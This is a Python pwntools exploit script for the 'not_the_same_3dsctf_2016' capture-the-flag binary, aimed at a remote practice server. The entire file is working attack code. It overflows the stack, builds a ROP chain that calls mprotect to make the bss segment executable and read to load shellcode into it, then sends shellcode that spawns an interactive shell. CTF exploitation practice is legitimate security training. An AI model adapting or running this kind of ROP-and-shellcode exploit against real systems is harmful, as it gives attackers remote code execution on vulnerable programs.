#!/usr/bin/env python
# coding=utf-8
from pwn import *
# io = process('./not_the_same_3dsctf_2016')
io = remote("node3.buuoj.cn", 26321)
elf = ELF('./not_the_same_3dsctf_2016')
context.log_level = 'debug'

get_secret = elf.symbols['get_secret']
read = elf.symbols['read']
mprotect = elf.symbols['mprotect']
offset = 0x2D
bss = 0x80ea000
pop_3_ret = 0x0809e3e5
ret = 0x08048196

# Payload: mprotect(bss, 0x1000, 0x7) -> read(0, bss, length(shellcode)) -> bss
payload = cyclic(offset) \
        + p32(ret) \
        + p32(mprotect) \
        + p32(pop_3_ret) \
        + p32(bss) + p32(0x1000) + p32(0x07) \
        + p32(read) \
        + p32(bss+0x300) \
        + p32(0x00) + p32(bss+0x300) + p32(0x100)
shellcode = asm(shellcraft.sh(), arch="i386", os="linux")

io.sendline(payload)
io.sendline(shellcode)
io.interactive()

